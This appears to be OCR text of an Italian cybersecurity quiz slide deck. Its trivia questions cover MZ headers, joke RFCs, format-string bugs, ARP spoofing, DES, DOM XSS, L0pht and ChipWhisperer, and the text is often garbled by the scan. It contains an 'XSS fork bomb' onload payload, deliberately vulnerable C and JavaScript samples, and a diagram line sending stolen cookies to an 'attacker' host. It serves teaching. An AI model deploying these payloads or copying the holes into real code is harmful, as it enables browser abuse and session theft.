@ Qe n @ rile

Time to have fun!



PO KER [EOFARLITE

Una competizione basata su quiz d
cyber security.

Sl gloca a squadre o
singolarmente.

L a risposta corretta viene premiata, la
risposta errata viene punita.

[ c dlomande sono di nicchia .

Google o |a vostra $entita suprema di
fiducia non vi aluteranno.




Affenmord For Qﬂ

-ef="#" onload="while (true) { varw =
window.open(): w.document.write
.fment.documentElement.oUterH'l'Ml."

?ent.documentElement.inneﬂ'lTMl):
>XSS fork bomb</a>




BEGOLE

° Formate squadre da 6 persone, con | Vostri
vicini di tavolo.

YOU GET A GROUP! YOU
» Scegliete I| nome del team. s ET. A GROUP!

» Faro |0 domande a risposta multipla. ey Wil 7

» Sirisponde per alzata di mano.

» || team che risponde correttamente vince —

uno shot di quello buono. - ' '
EVERYONE GETS A GROUP!

imgfliplcom

- |l team che sbaglia |a risposta prende uno
sHoT d queHO pessimo, I digestivo e offerto volentieri, ma nessuno e obbligato

a bere! C| sono alternative analcoliche!
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| FILE ESEGUIBILI IN DOS POSSONO
ESSERE RICONOSCIUTI DAI PRIM
CARATTERI (MAGIC NUMBER), QUALL?

L VN

Domanda #1: Reversing



5 M/ EXECU TATES

E mdto di file DOS MZ executable”
e usato per | file eseguiblll (.exe) In
0S,

* || magic number ¢ una stringa
presente all'inizio del file che indica
quale e Il suo formato (tipo).

» | file .exe possono essere identificat

dalla stringa "MZ" (In esadecimale: 4D
SA) all'inizio del file.

0000 4D SA S0 00

003c [80 00 00 00]

0080 |50 45 00 00
0084 4C 01 |03 00

MZ =

' DOS Header 64 bytes

COFF Header 20 bytes + 4 bytes (for ident)

PE

NumberOfSections

0094 (E0 00|0E 21
0098 0B 01 06 00

00F8 (00 00 00 00
00FC |00 00 00 00,

0168 (08 20 00 00
016C (48 00 00 00,

0178 (2 74 65 78)
017¢ |74 00 00 00,

SizeOf OptionalHeader

—

PE Header 224 bytes

First Data Directory 8 bytes

CLR Data Directory 8 bytes

Section Name 8 bytes

0180(24 04 00 00
0184 (00 20 00 00
0188 00 06 00 00
018c (00 02 00 00
0150 00 00 00 00
0194 00 00 00 00

0158 00 00 00 0O
01SC 20 00 00 60

VirtualSize

VirtualAddress

PointerToRawData

nttps://en.wikipedia.org/wiki/File_format#Magic_number

nttps://www.garykesslernet/library/file_sigs.ntml

nttps://en.wikipedia.org/wiki/DOS_MZ_executable



https://en.wikipedia.org/wiki/File_format#Magic_number
https://www.garykessler.net/library/file_sigs.html
https://en.wikipedia.org/wiki/DOS_MZ_executable

A B SEMPRE NECESSARICQ AT,
AN DO S| VIAGGIA NELLO SPAZISS

|, La mappa della galassia.

. Un teetrasmettitore.
3. Una navicella spaziale.

4. Un asciugamano.



A GALAT TICA PER AUTOS FOF .

* Limportanza dellasciugamano ¢
stata sancita nel 1978 in " The
Hitchhiker's Guide to the Galaxy'.

» "A towel, it says, is about the most
massively useful thing an interstellar
hitchhiker can have. Partly it has great
practical value”.

. || 25 maggio & il “towel day”’

https://en.wikipedia.org/wiki/Towel Day
https://en.wikipedia.org/wiki/Technology in_The Hitchhiker?e2/s Guide to_the Galaxy# Towels

https://en.wikipedia.org/wiki/The Hitchhiker?%2/s Guide to_the Galaxy



https://en.wikipedia.org/wiki/Towel_Day
https://en.wikipedia.org/wiki/Technology_in_The_Hitchhiker%27s_Guide_to_the_Galaxy#Towels
https://en.wikipedia.org/wiki/The_Hitchhiker%27s_Guide_to_the_Galaxy

RUALE DELLE SEGUEN 1 REC PR
st el ol

|, Standard for the transmission of IP datagrams
on Avian Carriers.

2.  Customs Enforcement on |IPv6 Broadcast.
5. B ocr ~vial Cannicrs wiln OUality ol oel e

4. Wrongful Termination of Internet Protocol
(7] Fackels

Domanda #3: Networking



il rOOLS DAY REQUEST FE
GG i

* Una Request for Comments (RFC) e

specifica creata dalla comunita scientr ‘]ca

tecnologia.

Queste sono comunque tecr

valide e presenta

el dclimiee I Tunzionamento dl unha

Dal 1989, ogni | aprile, vengono pubblicate
delle RFC Pesce d’Aprrile.

icamente

o sellUZIo

NI funzionant!

IPv6 non prevede || traffico broadcast,
solo unicast e multicast.

|P over Avian Carriers

From Wikipedia, the free encyclopedia

In computer networking, IP over Avian Carriers
(IPoAC) is a humorously-intended proposal to carry
Internet Protocol (IP) traffic by birds such as homing
pigeons. IP over Avian Carriers was initially described
in RFC 1149, a "Request for Comments" (RFC)
issued by the Internet Engineering Task Force (IETF)
written by D. Waitzman and released on 1 April 1990

A homing pigeon can carry ™
Internet Protocol traffic.

(April Fools' Day). Itis one of several April 1 RFCs.

Waitzman described an improvement of his protocol
in RFC 2549, IP over Avian Carriers with Quality of Service (1 April 1999).

IPOAC has been successfully implemented, but for only nine packets of data, with a

[1]), and a response time ranging from

packet loss ratio of 55% (due to user error
3000 seconds to over 6000 seconds. Thus, this technology suffers from poor
latency. Nevertheless, for large transfers avian carriers are capable of high average

throughput when carrying flash memory devices.

https://en.wikipedia.org/wiki/[Pvé
https://en.wikipedia.org/wiki/Request _for_ Comments
https://en.wikipedia.org/wiki/April_Fools2%2/_Day Request for_ Comments



https://en.wikipedia.org/wiki/IPv6
https://en.wikipedia.org/wiki/Request_for_Comments
https://en.wikipedia.org/wiki/April_Fools%27_Day_Request_for_Comments

C'E UNA VULNERARILITA?

1  #include <stdio.h>

2  #include <string.h> | . P\JC).

3  #include <stdlib.h>

4

5 int main (int argc, char s*xxargv) : : :
5 4 2. Cross Site Seripting
7 char buf [100];

8 int x =1 ;

9 snprintf ( buf, sizeof buf, argv [1] ) ; :
10 buf [ sizeof buf -1 ] = 0; 3. Format St
11 printf ( “Buffer size is: (%d) \nData input: %s \n” , strlen (buf) , buf ) ;
12 printf ( “X equals: %d/ in hex: %#x\nMemory address for x: (%p) \n” , X, X, &x) ;
13 return 0 , -
) 4. Integer Overiitae

Domanda #4: Exploiting



RORMAL S 1RING VULNERADICESS

* Una format Stl‘il‘lg € una stringa % ./fmtme "hello world"
contenente parametri di formato come e Ao (3 CaEoeTaBa

ad esempio %I o %d

» Un errore classico e quello di stampare
: : % ./fmtme "%x %x %x %x"
direttamente una strmga Sel 17l buffer (15): 1 £31 1031 3133
o , x is 1/0x1 (@ 0x804745c)
specificare || formato.

» Liniezione di format string permette d
leggere c scrivere aree di memoria.

http://www.dsl.unive.it/~focardi/corso-security/lab/lab4-20 | | .pdf
http://forum.ouah.org/FormatString.PDF



http://www.dsi.unive.it/~focardi/corso-security/lab/lab4-2011.pdf
http://forum.ouah.org/FormatString.PDF

EELIN ATTACCO IN CORSER

H bed ~ Expression. #

No Time Source Destination Protocol Length Info

235 21:54:27 3652033687 172.31.61.160 172.31.81.129 [CW 42 ECho (plng) request 1d=0x7ee7, seq=32487/59262, CrLli=64 (
236 5 SonvCorp_dS:dc:64 HewlertP _c8:c8.76 42 172.31.81.129 1is at —
237 21:54:27 . 3835220257 sSonvyCorp dS:cc .04 ciscolnc _74:Ge: 7 ARF 42 172.31.8B1.160 15 at 20:19:ed:dS:cc: 04 _
O—
238 21:54:27 365974166 172.31.861.129 172.31.81.160 [CW 60 Echo (plng) reply 1d=0x7ea7, seq=32487/59262, CCl=255 .. mmmm
239 21:54:27.3001295680 SonyCorp_dS:dc: 04 Broadcast ARF 42 who has 172.31.81.1607 Tell 172.31.81.186 —— ‘ ; N O.
290 21:54:27. 309037265 Hewlettf c8:cB:76 SonyCorp_d%:dc: 04 ARF GO 172.31.81.160 15 at 14:58:d0:c8:¢cB: 76 -
241 21:54:27.300394650 172.31.81.129 172.31.81.160 [CW 42 Echo (ping) reply 1d=0xTee7, seq=32487/59262, rrl=255 ===
242 21:54:28 3595401435 SonvyCorp_dS:oc:04 HewlettP_c8:c8:70 ARF 42 172.31.61.129 15 at 30:19:e0:d5:0C .04 —
243 21:54:28.395430087 SonyCorp_dS:dc:94 Ciscolnc_74:Ge:7f ARF 42 172.31.81.160 15 at 30:f9:ed:d5:dc:04 —
' o o —
245 21:54:29 405614769 SonvCorp_dS:oc:04 HewleCCtP_c8:c8.70 ARF 42 172.31.681.129 15 at 30:19:ed:d5:0c:04 f— :
246 21:54:29. 495634607 SonyCorp_dS:dc: @4 Ciscolnc_74:6e:7 ARF 42 172.31.81.160 15 at 30:f9:ed:dS5:dc: 04 —— ‘ \
247 21:54:30.328039626 172.31.81.160 172.31.102.14 TCF 60 6975-3128 [ACK] Seq=1 Ack=1 Win=2532 Len=l —_— 2. \/LAN Opplng.
.B1.1€ ' ] 56 60793128 [SYN] Seq=D Win=B19: —
54:30.415858179 SonyCorp_dS:oc: 04 HewletLP_c®:c8 42 . 1.129 1% at 20:19:ed:d5:cc:04 —_—
292 21:54:30. 415377907 SonvCorp_dS:oc:04 ciscolnc_7V4:6e. 771 ARF 42 172.31.61.160 15 at 30:19:ed:d5:0cC:04 —

Frame 236: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface ©
» EChemet II, Src: SonyCorp_dS:dc:G4 (30:19:ed:d5:0Cc:94), DsT: HewlertP_c8:c8:70 (14:58:d0:.cB:c8:70)
v [Duplicate IF address detected for 172.31.81.129 (30:19:e0:d5:0c:94) - also 1n use by 00:1b:d4:74:62:7f (frame 42))

* [Frame showing earlier use of IF address: 42]

[Seconds since earlier frane seen: 57]

» Address Resolution Frotocol (reply) 1
SN 4 58 d0 cB :
SR IE DD 08 04

B4 58 d0 cB

-
-
\

ol B

4. ARE SDooliie

@ 7 Frame (frame), 42 bytes Packets: 3016 - Displayed: 3016 (100.0%) - Load tme: 0:0.50  Profile: Default

Domanda #5: Networking



- ARP Spoofing (0 ARP
° ° \ : ; Routing under normal operation
Poisoning) ¢ un attacco layer 2 in cu,
N una rete switched, si annunciano e *’

e n-t ry A RP f.a‘ Se n Routing subject to ARP cache poisoning

§ Telieite di diventare un altro 1P, H

dliilinclando la nisoluzione ARFE

User

* Utllizzato in attacchi Man in The
Middle (MiTM), tipicamente per
diventare Il gateway di una rete.

https://en.wikipedia.org/wiki/ARP_spoofing
https://medium.com/secjuice/man-in-the-middle-attack-using-arp-spoofing-fa | 3af414633
https://www.bettercap.org

https://www.ettercap-project.org



https://en.wikipedia.org/wiki/ARP_spoofing
https://medium.com/secjuice/man-in-the-middle-attack-using-arp-spoofing-fa13af4f4633
https://www.bettercap.org
https://www.ettercap-project.org

PERCHE DES E INSICURQO?

|. (e stato un leak del seed.

2 i <olo 8 bt di controlle,

35 (Con 64 bt di chiave ¢l sono collisionl.

4. lLa chiave e di 56bit.

Domanda #6: Crypto



DATA ENCRYPTION STANDARD (DES)

+ Un algoritmo di cifratura scelto

come standard dal FIPS per il governo ]
gicoll USA nel 19/6. [-‘“ GHYPT
» Si basa su un algoritmo a chiave ' - _ o
simmetrica con chiave a 64 bit (ma ' o
solo 56 utili poiche 8 sono d ‘

controllo).
ALISTHETHINGS!

s Atliialmente DES e considerato

INnsicuro, ma ¢ stato creato Iriple DES.

https://en.wikipedia.org/wiki/Data_Encryption_Standard
http://www.dia.uniroma3.it/~dispense/merola/critto/tesine/DES.pdf



https://en.wikipedia.org/wiki/Data_Encryption_Standard
http://www.dia.uniroma3.it/~dispense/merola/critto/tesine/DES.pdf

C'E UNA VULNERARILITA?

<html>

et . DOM &

<title>Custom Dashboard </title>

</head> 2. S0 Injeciigl

Main Dashboard for

<script>
var pos=document.URL.index0f("context=")+8; 3 URL Darameter OVGI’ﬂOW
document.write(document.URL.substring(pos,document.URL.length)); ' |

</script>

</html> 4. No.

Domanda #/: Exploiting



] CROSS S|HE SCRIE TS

* Inun DOM X55 1| payload, non ¢
riflesso dal web server, ma dal codice

javas

cript della pagina.

» La vulnerabllita risiede quindi nel codice
client side.

» || testing di questa vulnerabilita € molto

compl

icato (Identificazione sink,

explor

INg).

keyword=<script>...</script>

Attacker

Attacker's Server

Website

Website's Response Script

ocation.search.substring(6);"

TOODODOOD
o e s s e s
el il el el el el
S TR
ottt

x

<

a

—]

o

Check this out:
http://website/search?

GET http://attacker/?cookie=sensitive-data

Victim's Browser

Website's Response to Victim After innerHTML Manipulation

<html>
You searched for: <em><scripts...</script></em>

var keyword = location.search.substring(6);
document.querySelector('em’).innerHTML = keyword;
<[script>

</html>

GET
http://website/search?

Website's Response to Victim keyword=<script>...</script>

var keyword = location.search.substring(6);

document.querySelector('em’).innerHTML = keyword;
<[script>
</html>

https://excess-xss.com/
https://www.owasp.org/index.php/DOM_Based XSS
https://www.scip.ch/en/?labs.201712 14



https://excess-xss.com/
https://www.owasp.org/index.php/DOM_Based_XSS
https://www.scip.ch/en/?labs.20171214

C R SOINCR

. ]
e € . LOpht Heavy Industries.
l I ‘ 2. Cult of L Jeathl i
3./ subseven [odia
4. Lzarg stla
£a it

Domanda #8: Cultura



INDUSTRIES

* Famoso gruppo hacker tra | 1992
e 1| 2000 di base a Boston.

* Pionieri sul fronte della responsible
disclosure.

* Hanno testimoniato al congresso su
“Weak Computer Security in
L ermment nel 1998.

https://en.wikipedia.org/wiki/l Opht

https://www.theregister.co.uk/2018/06/18/I0pht_chris_wysopal_interview/



https://en.wikipedia.org/wiki/L0pht
https://www.theregister.co.uk/2018/06/18/l0pht_chris_wysopal_interview/

P CO5A CORRIGPONTIES

1 xor ebx, ebx | |
|, Laccensione di Un lee
2 all:
> cmp ebx, 10 2. Un ciclo 1or (detadiiy
4  Jge z74
5 1nc ebx 3. Una chiamata a funzione (dettagli?).
6 inc ebx
7 qmp a0l 4. Uno switch...case (dettagli?).
8 z74:

Domanda #9: Reversing



O 00 ~J O U1 & W D =

X0r

top:

cmp
jge
inc
inc
Jjmp

end

R PAT TERIN N A

ebx, ebx

ebx, 10
end loop

ebx
ebx
top
loop:

» Reset ebx, for (1 = 0;

» Punto di 1nizio loop.

» Check 1 < 10

+ Se 1 < 10 val escl.

s Corpo del loop (codice qui)
s 1++

s 1++

+ Ricomincia dal 1inizio.

for(1I=0;1<10;1+2)



A COSA SERVE? CHE COSA E?

ADC Lock Failed (Red)
Trigger Armed (Blue)
s ol CLKGEN Lock Failed (Red)  20-pin Target Connector
FPGA Heartbeat (Green)
| @)+ suin 1, ' LEB / ) € ' ; -
L 500 B - e tugess ainsmreenl |, Power Analysis - ChipVVhisperer.
17 o T anesses(@ie]

2. Bluetooth Hacking - Ubertooth.

TIo3 &
I CLUTTTTTNN

PP0P00P00
'S XXX XEXKE XK.

oe
N N
)

) ®
LA

vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv

TR =g - 3. G5SM RHacking: SR/ CIDEHE T

' : A ST
USB Enumerated (Blue) —g i 4

Ik
22y
-~

L A J
- L
19 ¢

: HEASURE

©0©
3

MEASURE

..........

. v.\\;.-.'.m -

..........

AT
:.'3 G
‘ :
I

-mbedded PC - Arduino PowerPro.

8

XMEGA Target Board (CW303)

Domanda # | 0: Hardware



BT EREN [ AL POVWER ANALTSES

« Una forma di side channel attack
nasato sullo studio del consumi
elettrici.

» [ hardware altera il suo consumo In base
alle 1struzioni che vengono eseguite
allinterno dei chip.

el 1l ando |a diflerenza di consumo e

applicando modelli statistici ¢

bossibile fare ipotesi sul codice (o 1 dati)
nterrﬂ ad Un Ch|p, https://newae.com/tools/chipwhisperer/

https.//www.youtube.com/watch?®v=Fktl4gSjzak
https://www.youtube.com/watch?v=bFHyROX/7V0s

https://en.wikipedia.org/wiki/Power analysis



https://en.wikipedia.org/wiki/Power_analysis
https://newae.com/tools/chipwhisperer/
https://www.youtube.com/watch?v=FktI4qSjzaE
https://www.youtube.com/watch?v=bFfyROX7V0s




